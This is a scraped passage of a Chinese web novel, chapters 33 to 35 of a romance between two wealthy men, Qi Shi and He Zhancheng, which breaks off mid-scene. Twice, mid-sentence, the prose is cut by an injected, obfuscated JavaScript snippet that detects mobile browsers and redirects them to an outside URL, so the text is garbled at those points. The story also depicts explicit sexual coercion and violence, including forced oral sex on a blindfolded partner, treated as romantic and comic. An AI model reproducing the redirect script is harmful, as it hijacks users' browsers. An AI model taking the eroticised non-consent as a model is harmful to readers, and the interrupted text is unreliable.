何湛程骂骂咧咧地把喝多的人塞车里,戚时中了邪似的,笑得喘不上气,何湛程越看越恼,又伸脚对着人屁股狠狠踹了两脚。 “笑什么笑,再笑我直接把你扔路边了!” “屁,你才不会。” 何湛程臭着脸,驾车驶上大道,寻思着戚老二家太远了,人又醉得厉害,万一晕车吐了,他还得照顾这朝三暮四的狗男人,于是开了导航,找到离这儿最近的五星,十分钟就能到。 狗男人过来牵他手,一身酒气冲天,笑意温柔:“你怎么没走?” 何湛程呵呵笑,甩掉人手,回了句“滚”。 戚时这个死直男,是不是没追过人? 明明亲口说要和他交往,却一点坚持的精神都没有,他临上飞机看到那条信息,行李都没管,攥着手机就跑出来了,没曾想,戚老二这傻叉打完一个电话就没音儿了,这一整天,他跟在这傻叉的车屁股后面乱跑,又是公司又是餐厅又是会所的,戚老二就愣是没往后瞧一眼。 打一个电话不接,不知道多打几个么? 消息才发三条! 想当初许若林要追回他的时候,电话没打五百个也有三百个了,消息天天99+,戚老二怎么就这么拽? 他凭什么这么拽?! 原来在戚老二眼里,他何湛程这么好追的? 呵,这货根本就不爱他,这一整天,连茉莉都发觉了他的存在,派人帮他付了账单又帮他买饭买水,戚老二就傻了吧唧的,跟丢了魂似的看不见他。 茉莉这人也真是的。 何湛程不免埋怨起她来,一点眼色都没有,她就提醒一下她老板怎么了? 那张嘴就这么严实,一副银丝眼镜反光得跟柯南似的,冷冰冰的板着脸,戚老二不心疼他,她还不知道多心疼下他? 等到酒店,何湛程架着戚时,在人身上摸出手机面部解锁付款,定了间房,又让服务生去隔壁男装潮牌店,帮他买两套换洗衣服和鞋送过来。 戚时靠在他肩膀上,迷迷糊糊地问:“程儿,你和我一起住么?” 何湛程翻了个白眼:“废话,你三番两次的侮辱我,我不得罚你啊?” 戚时闷笑一声,拱着他额角,撒娇:“你还要打我啊。” 何湛程拍拍他微微发红的俊脸,温柔笑:“不打你,干你。还不快谢谢我,我不仅要教你怎么做人,还要教会你怎么做一个男人。” 戚时身子一阵激灵,闪身和他隔开半米远,沉眉拒绝:“不行!” 何湛程挑眉:“哟,这就清醒了?!” 戚时头昏脑涨,揉着眉心,艰难地靠在电梯墙面,肃声抗议道:“不行!反正就是不行,说什么都不行!” 何湛程忙过去扶他,拍着他肩膀安慰道:“好啦,我知道你不行了,不用一直重复了,我这个人呢,慈悲为怀,对你这种不行的男人呢,向来是比较宽容的,只要你待会儿乖乖的,我是不会嫌弃你的,嗯?” 戚时又气又笑,挣扎着要甩开他,奈何步子踉跄,只有靠着什么东西才能站稳。 他今晚有故意把自己灌醉寻欢的打算,喝了太多酒,心里好一阵后悔。 本来他就在这段关系里占了下风,要是今晚真被人强上了,他戚老二就再也抬不起头来了! 何湛程才不管他想什么,扶着他进屋,突然又使坏松开他,趁他东倒西歪马上要摔倒了,笑意迷离的,又扑过来将他抵在门后。 手也不老实,动作熟练地扯掉他腰带,冰凉的指尖向下摸去。 “嘶——”戚时没忍住呻|吟出声。 “戚时,”那人的吻如狂风骤雨般袭来,“我同意了。” 戚时被亲得喘不过气,双手攥紧对方的腰,喘息道:“同意什么?” “同意你的追求了。” “……我什么时候追求你了?” “少装蒜!”何湛程狠狠咬他一口,“我警告你,我现在一没钱二没家,唯二的两个救援也因为你再开不了口了,连行李箱都没了,你今晚要是不给我上,咱俩彻底玩儿完!” “没你这么算账的!”戚时不痛快地别过脸,不肯再与他接吻,“你要真有那意思,就该等我酒醒了再说,而不是专挑这时候说一堆好话来糊弄我!” “不在这时候说,什么时候说?等你和那个装可爱的小白脸上了床再说么?”何湛程冷笑,一股怨气蓦地袭上心头,他不懂自己为何庆幸又难过。 或许知道。 戚时挑的人自然是顶好的,他何湛程就不一样了。 他不干净。 正握着某人*的手猛地急遽加重起来。 戚时又疼又爽,咬着后牙槽不敢乱动,瞪他:“你发什么疯,还不快松手!” 何湛程突然掌握了诀窍,他一笑,拽着戚老二的老二,大步昂扬地往床边走。 戚时又羞又恼,被迫亦步亦趋跟人走过去,他手下死死地攥着何湛程的手腕,想拔出去,又怕这疯子一个不乐意,真给他把命根子拔折了。 若说从前对何湛程不熟悉,对此人的传闻尚存几分怀疑,经过了昨夜,他确信何湛程是真的会做出这种事来的人。 但他也是真心不愿意迁就这个人三分钟热度的任性。 戚时恳求:“你先让我洗个澡。” 何湛程摁着他坐床边,和他面朝这面,抬腿一跨,坐在了他的大腿上,俯身凑在他嘴角吻了一下:“没关系,我不嫌弃你。” 戚时:“那我嫌弃你。” 何湛程脸色一僵,强压制着怒意,一派不容违逆的强势,将戚时压了下去,左手继续握着对方的把柄,右手去解他的衬衫扣。 戚时不禁燃起几分真怒。 有完没完!还有完没完!他长这么大,什么时候受过这种屈辱!压上来的还是个小他七岁的毛头小子!!这人侵占他的心还不够,还要玩弄他的身体!他是喜欢他又怎样!哪怕他再喜欢这个人,也绝不允许对方这样践踏他的尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409042|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严! 冲人低喝了句“不行!”,出于本能的抗拒,戚时抄手就从床头柜抓起台灯,一咬牙,朝伏在他身上的小畜生右肩膀上砸了下去! 是银色钛合金座的水晶台灯,砸在人骨头上发出很闷重的一声响,戚时按捺下对小畜生的心疼,他没打算下手这么重的。 他只想让小畜生松开他。 小畜生没松开他,一动不动,仍保持着骑在他腰上的姿势,愣愣地看着他。 眼眸似乎闪过一丝受伤,小畜生像头被人偷袭捅进心脏一刀的幼兽,清纯白净的脸庞,颤颤抖动的嘴唇,扑闪着漂亮的睫毛,不敢置信地看着他。 戚时立刻就后悔了,不自在地咽了咽喉咙,正要辩解着教训人两句,那头幼兽泪水盈满的眸底,霎时间布满通红的血丝,狭长眼尾折出疯狂的、嗜血般恐怖的笑意。 “你宁愿跟一只鸭子睡,也不愿跟我,嗯?” 一滴晶莹的泪砸落在他脸上,那人笑着,温柔的话音犹如在同一个刚出生的婴儿低语。 戚时心里一个咯噔,不待他反应,手上台灯被人猛地一把夺走,小畜生从他腹下抽出手,凶残的大掌掐住他脖子,那条被他砸过的臂膀仿佛毫无知觉般,重重地将他提溜到床头前,令他一只耳朵和半张脸挤着墙面,另一手则攥紧台灯,在距离他耳朵仅两三厘米的距离,砰!砰!砰!砰……一下又一下,屠夫剁肉一样,不停歇抡着台灯,用尽全力朝墙面砸着。 这是一个几近疯魔的噪音制造者,是与死神共舞的癫狂之人,当他精神沉浸在某一境界,他就没有了痛感,满脸皆是恣肆妄为的畅快。 水晶玻璃很快被砸成碎片,无数片切口锋利的玻璃渣,哗啦啦下雨似的,全掉在戚时的头发和脑袋上。 他紧紧地闭着眼,感受到一阵又一阵的头痛和耳鸣,刀片一样的尖锐物,不断擦过他额头、鼻梁、耳廓、和脸庞上的皮肉,眼皮上也黏了几片,他感知到自己的脸有无数伤口正在缓缓裂开、出血,又听到头顶的小畜生冷哼一声,甩手扔掉了台灯,伸出冰冷的指尖,一片片帮他拂拭掉。 这大概就是消气了的意思吧。 戚时突然有点感动。 他觉得,小畜生还算疼他,他还以为何老三也要拿台灯砸他呢。 想要睁眼看看那人的表情。 戚时记得自己闭眼前何老三哭了,眼泪簌簌掉着,格外招人怜爱,就听头顶那人冷冷道:“不想变瞎就别睁眼。” 戚时就没睁眼。 何湛程按铃叫了客房服务,要了擦伤药、镊子、创可贴和绷带,然后去浴室洗了把脸和手。 等东西送来,他命人将床头的一片狼藉打扫了,床套也换了,无视工作人员惊愕的目光,拽着暂时眼瞎的戚老二去沙发上坐着,半蹲在人身前,抬起手,小心翼翼地帮人把黏在眼皮和脸上的残渣取出来,一点点帮人上药。 尽管脸上的伤口会绽开,戚时仍忍不住闭着眼笑:“诶,怎么不砸我身上?” 何湛程帮人创可贴的手一顿,下一秒,抬头瞪他:“有病吧你?!” 戚时抓瞎,伸手去摸他右肩膀,语气满含愧意:“疼么?” 何湛程重重打掉他手:“老实点儿!” 戚时闭了嘴,思量着当下何老三肯定恨得他牙痒痒,正打算让人拿着他手机再去订个房间,刚涂好药的眼睛就被人拿绷带蒙住了。 一圈、一圈、又一圈,紧紧缠绕的绷带遮住人眼,何湛程面无表情地站起身,在人脑后打了死结。 戚时这下是彻底看不见了,整个人陷入漆黑,让他很没安全感。 他抬手绕到脑后就要解开,两手腕却被人一把攥住,接着,眼前似乎是牛仔裤链拉开的声音,嘴边,某种滚烫的、青筋暴起的东西,轻轻擦着他的唇。 戚时一怔。 头顶人居高临下道:“张嘴。” 戚时张嘴就要拒绝。 那人在他拒绝之前,果断强势侵入,然后大力抓着他的头发,完全填鸭式捅入他喉腔,不给他有丝毫反应的机会。 戚时喉咙被折磨得几次要干呕出来,又被迫吞咽着,他被蒙住的眼睛也挤出了疼痛的泪,那人却看不见。 那人看不见,就不会心疼他。 戚时气得眩晕无比。 何老三,很好,一个货真价实的畜生,让他比刚才那个姿势还要受凌辱百倍! 戚时沉默地流着眼泪,备受屈辱地任人宰割,他很想说话,他发誓等他重见光明了,他一定要弄死何老三! 什么狗屁的爱,什么缠绵悱恻的恨,全都比不上他戚老二今晚遭受的奇耻大辱重要! 奈何两侧脸部肌肉却早已僵硬,喉咙也遍布xing腻,别说开口讲话了,他连声音也发不出。 那人瞧着他蒙眼的绷带都哭湿了,喘息了会儿,轻轻一笑,声音听起来比他要愉悦得多。 依旧是冰凉的指尖,奖赏般抚摸着他的脸,说了句“乖”,终于舍得放开他。 戚时突然就想起曾经许若林那条“你夸我乖”来。 顿时恶心得要死要活,扭身扒着沙发,手指疯狂抠着自己喉咙,好几分钟过去,五脏六腑都恨不得咳出来,一张遍布血痕的俊脸涨得通红发紫,身上都冒了汗,愣是哕不出半点。 何湛程俯下身来拍他肩膀,关怀问:“怎么了?” 戚时仰起脸冲人恶笑:“我嫌你脏。” 何湛程也笑,猛地直起身,一把拽上他衬衫领,拖死狗似的,两三步走去床边将他扔上去。 这人平时惯会装柔弱,实际力气远比他想象中要大,戚时这晚醉得厉害,还挨了打,眼睛看不见,完全受人钳制着,身上衣服也被那疯子撕了个稀巴烂,简直毫无抵抗的余地。 …… …… 从未觉得与人**是件如此要命的事,戚时忍不住闷哼出声,很快,额角青筋爆出,鬓角洇出了密密麻麻的细汗,他痛苦地蜷起身体,埋头钻进白色的、皱巴巴的床单,疼得笑出了声。 身上人不愿令他用这姿势纾解痛苦,强势碾压着他的四肢,吸血鬼似的,埋头一口咬上他侧脖颈。 戚时强忍着不舒服,微微仰起身,凑在人耳畔,大汗淋漓,却笑若春风: “何老三,我劝你今晚上最好把我做死,不然等明个儿天一亮,就是你的死期。” 34. 第34章 凌晨四点半,夜天渐亮,长街寂静,春树梢上不时响起几声鸟叫。 何湛程一身崭新运动潮牌,容光焕发,怀里抱着另一套和自己身上一样的情侣装,及一堆被撕烂了的衬衫西裤,阔步昂扬地走出酒店大门。 北方四月清晨冷风瑟瑟,吹得他鸡皮疙瘩乍起一身,他没忍住打了个大喷嚏。 然后,双手一扔,把戚老二的新旧衣服、皮鞋,连含袜子内裤,全扔进了路边的垃圾桶。 嗯,戚老二的手机被他存在了前台处,非“何湛程”本人签名,一律不给。 客房服务的电话和按铃也拆了,他就不信戚老二还有本事追出来。 何湛程站在金光闪烁的大理石高阶下,忍住想要再跑回去房间,把他手机和手串拿回来的冲动,两手一插兜,长腿沿着人行道,哼着小调,一路向北走去。 戚老二还醒着,那人像头遭受重创的雄狮,昏沉沉地伏在床上打盹,虽说身子软成一滩烂泥,连抬手解开绷带的力气都没有,但受伤的猛兽也是猛兽,万一见他又回去,突然情绪爆发扑过来把他咬死,他何湛程就真的看不见今天的太阳了。 啧,要么说是体育生呢,毕业好几年了,身子骨还这么硬朗,练得胸大屁股翘的,八块饱满的腹肌,一双逆天长腿,铁鞭子似的,报复性地勾在他腰间使力时,锁得他身子都要断成两半了。 戚时体力异常惊人,持久又耐操,何湛程毕竟年纪小些,中途做累了,擦擦汗,然后瞧一眼戚老二那张浓颜俊美的脸蛋,看那样一个位高权重的、骄傲自负的男人匍匐在自己胯|下,蒙着双眼满脸红|潮地喘|息,别提有多爽了。 何湛程拽着人强做了四个多小时,戚老二没有昏倒就算了,还笑得愈发猖狂,这要换个心理素质差点儿的人,早被吓跑了。 何湛程不无得意地想,真不愧是他一眼就看上的男人,够劲儿。 念在俩人尚存的那一丝丝情分,何湛程到底没舍得下太重手,只是怒意最盛时,将人往死里折腾了几遍,戚时心生抗拒,遇刚则强,险些反客为主。 何湛程就换了路数,摇摆着身子就笑着滑进那人怀里,戚时抵不过他撒娇,明知他在作践他,紧抿着唇,似乎很不情愿,身体却诚实地递送上来,供他随意玩弄。 何湛程就忍不住取笑他,戚时听不得他那些骚话,一头扎进枕头里,只露出臊得通红的耳根,倒显得十分可爱。 天将明,一轮红日初升,照耀在东方上空,万里光芒四射开来。 何湛程抬起右手,对准那一轮红圆,打量着他腕上那几道长短不一的、泛血褪皮的抓痕,眯起了眼。 戚老二那个混账,狗爪子比铁钩子还狠,挠他别的地方就算了,居然还敢挠他手腕,那力道恨不得把他大动脉给挖出来,有病么? 别的时候不挠,偏偏在他脱手串的时候挠? 何湛程忽然意识到什么,猛地褪下衣袖,重新插手回兜,表情漠然,继续往目的地走着。 暧昧也好,情人也好,哪怕是交往,戚时以为自己是谁? 这么一个朝三暮四的下九流,前脚刚和他分手,后脚就去会所泡鸭子排遣寂寞的狗男人,他爱得起他何湛程么? 他配么? 许若林也好,裴玉也好,哪个不是对他一心一意,戚时这个被无数女人睡过的脏东西,还敢嫌他脏? 嫌就嫌吧,自己心里知道不行,还非得说出来找两个人的不痛快? 就这,还执着地找他何湛程要地位? 做梦。 下午两点多钟,何湛程踏入一处繁华商业中心的写字楼,跟回自己家似的,漫不经心地四下打量着周遭环境,然后随便揪出几个挂工牌的接待员,言辞犀利地点评一番简陋的大堂设施,对方懵懵懂懂地听着,不待说点什么,何湛程身子又一斜,吊儿郎当地倚在大堂前台,下巴一抬,问接待人员要座机打电话。 接待人员云里雾里:“请问您是?” 何湛程帅气一撩头发:“你们董事长的亲弟弟。” 接待人员:“您借电话是何用途呢?” 何湛程啧一声:“能啥用途,给我大哥打电话呗。” 接待人员欲言又止,抓着身边两个小姐妹说了几分钟悄悄话,仨人偷摸上下打量他一番,就把话筒给他了。 何湛程轻哼一声,抱着座机按手机号,他大哥日理万机的,他打了六遍才接通。 他大哥接陌生电话很客气,彬彬有礼道:“喂,你好。” 何湛程也彬彬有礼,故作深沉道:“喂,你好。” 他大哥:“……” 何湛程笑:“是我啦!” 他大哥:“滚。” “等一下!”何湛程连忙道:“你得救我!” 他大哥似乎蹙起了眉头:“你又惹什么事了?” 何湛程哼一声,不敢全部交代,只说:“我把戚老二惹毛了,最迟今晚,你要不救我,我就要死在这边了。” 这一路其实很长,二十多公里,他从清晨步行到下午,边走边歇,但又不敢歇太久,生怕戚老二那头体格魁梧健壮的雄狮休息够了,又生龙活虎地从床上蹿起来找人弄他。 不,戚老二自己就能弄死他。 昨晚折腾得昏天黑地,清晨醒来迷迷糊糊,又被戚时撂了狠话,何湛程早上逃跑的时候,一心只想着把戚时困在屋里久一点,抱走的东西全是戚时的,自己手机和手串倒留在酒店了。 茉莉和裴玉也不能再找了,他不能让擎荣的人知道他的行踪,许若林给他买的飞机票他没用,那小子昨晚上还问他几点到,他在会所门口蹲人的时候,很认真地回复许若林一条:“不回了,我以后就留在燕京了。” 留个屁! 他得逃!逃得越远越好! “要么你派直升机过来接我,要么你赶紧让银行给我把钱解冻,我自己想办法逃走,反正我不能继续待在这边了。”何湛程自认还算态度友好地跟他大哥摊牌。 他大哥很不耐烦,训斥道:“你一天到晚除了给我惹事之外,你还会干别的吗!二十岁的人了,一点儿责任心都没有,你不是很会油嘴滑舌吗?这一次你自己闯的祸自己担,我命令你现在就去跟人家道歉!” 何湛程“嘿哟”一声,忍不住脾气上来:“你什么态度啊!” 他大哥沉声道:“你先亲自去跟人家道歉,不管他原不原谅你,剩下的事我来处理。” 何湛程又蔫下来:“不行,我这次是真的把人惹毛了。” 他大哥顿了顿,问:“你把人惹到什么程度了?” 何湛程唏嘘一声:“惹到……他一定会将我碎尸万段的程度,嗯,物理意义上的碎尸万段。” 他大哥“哦”了一声,然后轻飘飘地撂下一句“所以我才让你去道歉啊”,果断挂了电话。 何湛程愣在原地,人傻了。 下一秒,勃然大怒! “何闽轩你还是人吗!你是人吗何闽轩!!!戚老二给你什么好处,你居然胳膊肘往外拐!!你是人吗!!” 一边骂骂咧咧,一边面目凶残地继续给人拨电话,电话键按得噼里啪啦,他连续打了三四十遍,却再也无人接听。 三名接待前台也愣,眼睁睁看着刚才还笑容可掬的少爷,转眼之间就变得面目可憎起来,最后电话打不通,少爷泄了气,啪一声,把话筒狠狠叩回去,刚换的崭新座机迅速绽出好几条裂纹来。 “叫你们总经理下来,”何湛程换了进攻方向,大手一挥,吩咐道,“就说是何老三来了,他认识我。” 前台连忙跑去一边给总经理打电话。 并且详细给经理描述了一遍这位何老三同志在楼下的暴力行径。 没料总经理那边说不认识,让她们叫保安把这个捣乱的神经病赶走。 前台挂掉电话,言辞委婉地向何老三传达总经理的意思。 何湛程挑眉,也惊讶:“怎么,你们总经理不是秦旭么?他认识我啊,那小子装什么蒜呢?” 前台歉然笑:“不好意思何先生,秦总被调走了,我们现在的总经理是沈总沈致亭。” “什么婶总叔总的,”何湛程不耐烦道,“他在几楼,我亲自上去找他!” 前台犹豫,何湛程面色不善地盯着她:“漂亮姐姐,你别装傻,你刚才也听见我跟你们董事长打电话了吧。” 前台无奈,轻轻嗯了声。 她是听到了。 她听到董事长叫他滚。 但显然,这的确是董事长家的少爷,于是先找沈总说明了情况,没等人回复,就立刻给少爷开了绿灯。 少爷来头实在太大,别说她这种小角色了,就是沈总也得罪不起。 何湛程一路电梯坐到三十七层,大摇大摆地找到了总经理办公室,门也不敲,直接就推门进去了。 对方正埋头办公,听到动静,从电脑屏前抬起头,打量的视线全程跟随他的步子,又见他不客气地一屁股坐在待客沙发上,拿起桌上刚送到的茶点外卖就吃,表情有些复杂。 何湛程奔波一路,又渴又饿,毫无愧疚心地喝着人家的咖啡,吃着人家的茶点,眼皮也不掀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409043|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,大声报了自己来头和身份证号,让那长得人模人样的沈总赶紧给他弄张机票,再派人送他去机场。 那个叫沈致亭的没理他,拿着手机就出去了,想必是去找他大哥打电话验证。 何湛程等了半天,见人终于进来,嘴角刚刚扬起得意的微笑,就听对方面容淡淡和他讲,他大哥发话了:不管,更不准任何人管。 何湛程脸臭得不行,甩手扔了咖啡茶点,抱臂往沙发上一靠,说:“那我就在这儿坐着了!” “你随意。”对方摆了个请的手势,然后长腿一迈,绕过茶几,头也不回地坐回椅子上继续办公了。 何湛程就有点烦躁。 他这一天天的,碰上的都是些什么牛鬼蛇神,一个正常人都没有,按理说,就算他大哥发话了,沈致亭作为底下人,就一点眼色都没有? 这人不知道偷偷巴结他么? 顶头上司的直系家属来求你办点鸡毛蒜皮的小事儿,上司发话说不准给办,你还真就不给办了? 姓沈的这小子资历太浅,以后能升官发财才是真有鬼了! 何湛程憋着火气,窝囊地等了几小时,等到傍晚人都快下班了,他忍不住又催沈致亭快帮他买机票,没曾想那小子不帮他就算了,居然还自持年长,板起脸教训上他了? 何湛程气得胃疼。 他大哥从哪儿提拔上来的这路妖魔鬼怪?区区一个分公司总经理,又傲又清高,他跟这不识相的小白脸装货话不投机半句多,正寻思着再找个谁救援呢,他表哥陈北劲宛若神兵天降一样,突然出现在沈致亭办公室外面。 何湛程简直喜极而泣! 然后他就意识到这俩人有一腿。 还有沈致亭那个无比清高的装货是怎么坐上这个位置的了。 不过这跟他没关系,何湛程清楚陈北劲是那种事不关己高高挂起的人,陈北劲也不想让他多嘴拆穿沈致亭的事,于是哥俩经由一番讨论,愉快达成一致—— 由陈北劲安排直升机送他离开燕京,再提供私人飞机供他逃往国外,他老老实实走三十六层楼梯,在沈致亭面前避嫌他和陈北劲的表亲属关系。 何湛程从未这般忍辱负重过。 但上月在剧组那么多苦力活他都干了,那么多欺负他都忍了,现在为了逃命,他还在乎这区区几十层楼梯? 戚时,再见。 燕京,再见。 还有,爱情,再也不见。 晚九点,轰隆隆的直升机飞过繁华璀璨的京城上空,何湛程身上裹着羊绒毯子,手里捧着保温杯,面无表情地俯瞰脚底灯火斑斓的夜景,和那座与他擦身而过的巨型摩天轮。 他手机里还存着摩天轮的录像,他想,一直留着没删,就是为了某天跟某人证明,自己真的很喜欢他。 因为很喜欢一个人,所以那人提过的每一个地方他都要去。 何湛程扭过头,找随行人员拿过他的手机—— 是的,他的手机。 他让陈北劲派人去昨晚的酒店拿他遗留在房间里的东西,当时天色已晚,据帮他保留物品的酒店工作人员称,戚时在今天中午十二点被催退房时,才终于找到人帮他买到了衣服,又半威胁半贿赂的向他们要回了手机,风风火火地离开了。 何湛程猜,那不是“风风火火地离开”,而是“杀气腾腾地离开”。 然而他表哥派去的人只帮他找到一个手机,他那条沉香手串却不翼而飞了。 戚老二那个偷东西的贼! 何湛程冷着脸,毫无留恋地把摩天轮视频永久删除了,关于戚时的所有联系方式也都删了,然后,他发了条消息给何老大,说如果戚老二跑来算账的话,让老大记得帮他把手串给要回来,不然他下半生一定会倒霉的。 他大哥回他一句“滚”。 这就是“知道了”的意思。 暖暖的,很安心。 正要打电话给他二哥,他准备马上就去墨西哥玩儿了,让他二哥随时恭候迎驾,许若林就给他发来两条消息。 一张图片: 铺着拉菲草礼物盒里,摆放着两个黑色的男士运动机械手表,左边表盘装饰着两条暗蓝色闪电纹,表盘内繁星点缀,犹如星盘,轴心是破碎的半颗红心。 右边款式几乎一样,唯二的不同,闪电纹是暗红色的,轴心是另外破碎的半颗红心。 两半颗破碎的心合在一起,刚好是一整颗心。 另配一条文字: —程哥,手表我帮你组装好了,我是送你家去,还是给你邮寄到燕京? 35. 第35章 红木墙壁高悬数盏黄铜琉璃壁灯,将拼花地板照得油亮,雕花木门被缓缓推开,专接待贵宾的会客厅,一张紫檀木桌,主客相对而座。 女佣陆续过来上点心,温言细语说句“先生,请慢用”,不及客人应,又款款退下。 玉骨茶碗飘出袅袅茶香,客人识货,浮盖轻轻一嗅,就知道是凤凰单丛宋种的珍稀品。 对面,主人一脸温润平静,向他摆了个请的手势。 主人说他远道而来,请他先解渴。 客人只好按捺住性子,低头喝茶。 他是渴,连夜开的车,狂飙三千多里地,早晨硬闯人私宅,遭仆佣重重围阻,他单枪匹马来,跟一群底下人费尽口舌,好容易见到了主人,对方一派和气,举手抬足,斯文磊落,他气焰登时就被灭掉了一半。 客人心不在焉地喝着茶,不时瞥几眼墙上挂满了价值连城的古董字画,老藤遮掩半扇窗的庭院外,不知何处传来悠扬小提琴声,手法稚嫩,又不失儒雅之气,想必是谁家的小孩儿在拉琴。 不管是谁家的,客人想,这小孩都一定姓“何”。 这是一座中西合璧式的私宅庄园,颇有些老上海的味道,主建筑恢弘壮阔,宛若一座沉淀着峥嵘岁月的古堡,边角有些许残破,主人不曾修葺,想来是为彰显几分古情韵味。 古堡两侧延展出数座老派洋楼,庭院前是锦绣花园、清冽喷泉、四五十来辆豪车整齐排列着的、绵延数千米的停车棚,院子后则是一望无际的涛涛松林、永不见尽头的绿色草坪,和优哉游哉开着割草机到处转悠的园丁。 蓝天白云之下,七八个漂亮的少年在绿坪里放肆地踢球嬉戏,脆铃般的笑声随风飘荡,传向远方;休息处,陪着自家少爷来玩儿保姆佣人们聚在一起谈笑说话,聊得不亦乐乎;亦有白发苍苍的年长者或正支着画家写生的女孩,东边老者在树荫下看书,西边女孩儿衣裙飘飘,全神贯注地写生…… 这座庄园总占地三百八十六亩,住着整个何家嫡系及部分旁支亲属,客人早上硬闯进来时,第一声叫嚷着:“何老三还不快滚出来给老子受死!”第二声就不自禁换成:“把你们家三少爷给我喊出来,我有事找他。” 客人第一次上门追凶,没经验,底下人们可清楚的很—— 但凡站在他们家门口找三少的,甭管他来者何人,反正一律没好事儿,因此各种推诿阻拦,把客人气得半死,直言何家人都是蛇鼠一窝,是一群毫无道德之心的社会败类! 现在,从一窝蛇鼠里终于走出来个能扛事儿的正派人物,客人一碗清茶喝到见底,却越待越拘谨。 何老大分明跟他是同龄人,怎么浑身散发出一股子老谋深算的狐狸味儿? 哼,他不禁心下腹诽,何家人说不准都是狐狸变的,比如某老三,长得就跟个狐狸精似的。 何闽轩也不动声色打量着对方: 戚老二比他想象中要显年轻,也更有冲劲儿,长相很正,英气逼人,是传统中式的浓颜俊男,立体的五官犹如鬼斧刀凿,一双浓黑飞斜的野生眉,深邃的眼窝,饱满的卧蚕,周遭气场散发出一种宁折不弯的阳刚之气,既老练稳重,亦有尚未泯灭的、火辣辣的少年性情。 戚时穿休闲装,款式简单的白衬衫、松松垮垮地打着条细长领带,牛仔紧身裤,一双锃亮的牛皮短靴踩得地板啪啪响,外套是过膝的黑色风衣。 他一米九的个头,袍子一撩,屁股往那儿一坐,斜着身子往后一倚,一句不容置喙的话,“把何老三交出来我立马走人,别的没商量”,无赖得理所应当,很有一个入室抢劫犯的气势。 尤其是发型—— 一个集团老总,发型居然是寸头。 青皮短寸,左耳后似乎新剃了道“Z”字型闪电,仗着一副攻击性极强的五官,随便做什么表情都显得狂妄至极,若非有一张正得发邪的浓颜俊脸撑着,此人真的很像个混在社会边缘地带的流氓。 不过看一眼对方的脸—— 白到发亮的皮肤,无数血痕切口,太阳穴、右额角和下巴三处,大概伤口太深,贴着创可贴,何闽轩就明白戚老二为什么剃头了。 他们家那只小畜生对人不至于用刀片,所以,这大概是玻璃渣。 玻璃渣掉进头发里不好清理,随便一抓还容易割伤头皮,于是戚老二干脆全剃光了。 何闽轩无奈,对人满含歉意地开口:“时兄,真是不好意思,我这个弟弟不懂——” 戚时连忙抬手打住:“别介,我就比你大几个月,你叫我名字就成。” 心想,难怪何老三跟人写东西也搞什么“林弟”,合着这一家子都喜欢称呼兄啊弟啊的,真是大户人家做派,就爱搞这种文绉绉的东西,真别扭! 何闽轩一笑,说:“行,但是不巧,我们家老三目前没在国内,你要找他的话,可能得等几个月了。” 戚时才不吃他这一套,反扣着指弯,重重地敲两下桌子,语气不善:“何董,咱们明人不说暗话,当初是你把何老三赶我那儿来,我是看在你的面子上才乐意带他,现在我拜你所赐,被你们家那只野猫挠成这样,你倒好,一声不吭又把人给我藏起来了,不管从哪方面看,你这都不太能说得过去吧?” 何闽轩笑着安抚:“我没那意思,作为大哥,将弟弟放纵成这样是我的失责,我本就该让他亲自给你道歉,老三他也非常愿意承认错误,只是你现在正在气头上,出手难免会重些,把老三打坏了还好说,万一伤了我们两家人的和气,咱们好容易建起来的友谊的桥梁就塌了,你不觉得可惜吗?” 戚时冷笑:“塌了就塌了,何董青年才俊名采风流,哪里用得着我戚时替你打下手?我区区无名之辈,当然就更不敢麻烦你了,但是何老三,我今天必须带走!” 这一番话说得天衣无缝,何闽轩不禁诧异,人都称戚时“莽夫”,连与戚时常来往的陈北劲都数次抱怨过戚老二的俗不可耐,可此人能够稳坐集团二把手,本身还是有些斤两的,只是不轻易对外显露罢了。 能赢得这样一个莽夫的尊重,何闽轩心想,不知道对方是敬他何氏集团副董事长的身份多一些,还顾忌是他是何湛程大哥这个身份多一些? 正要开口,忽地见对方两肘闲闲地撑在椅子扶手上,风衣长袖褪却小半截,露出两只手腕来。 左手腕银带闪亮,戴着块劳力士手表; 右手戴着一串沉香珠,108颗野生奇楠深色珠子,腰间有两颗暗光涌动的南红玛瑙作配珠,金玉缀饰,在他腕间缠了三圈。 何闽轩胸膛一震,水都不敢喝了,将刚端起来的茶碗放回去,面上不动声色,抬手遥遥一指,笑问:“你这串珠子是?” 戚时唇角一勾:“捡的。” 何闽轩追问:“哪里捡的?” 戚时耸耸肩:“地上捡的。” 何闽轩:“……” 何闽轩打小是从枪林弹雨里长大的,一路走来全靠硬拼,从不信命,但他家老爷子和小畜生都信这些,他作为当家人,不能任由自家的宝物戴在旁人的手上,于是只好戳破窗户纸: “家弟也有串一模一样的,你捡的是他的吧?” 戚时仰身一靠,姿态倨傲如太上皇,笑得一脸无赖:“我不知道啊,戴在我手上就是我的了。” 何闽轩:“……” 他好像明白戚老二脸上的伤是怎么来的了。 别说老三了,他也很想打他。 何闽轩耐着性子:“这是家弟的东西,望你归还,当然我们何家人并非不懂礼节,你想要多少,直接给我个数就是了。” “不,”戚时执着道,“我只要何老三。” “老三没在国内。” “那你就把他给我召回来!” “我如果能对他呼之即来挥之即去,就不会把他送你那儿去历练了。” “我也想问,”戚时眸色一凛,“你为什么非把他送我那儿?” 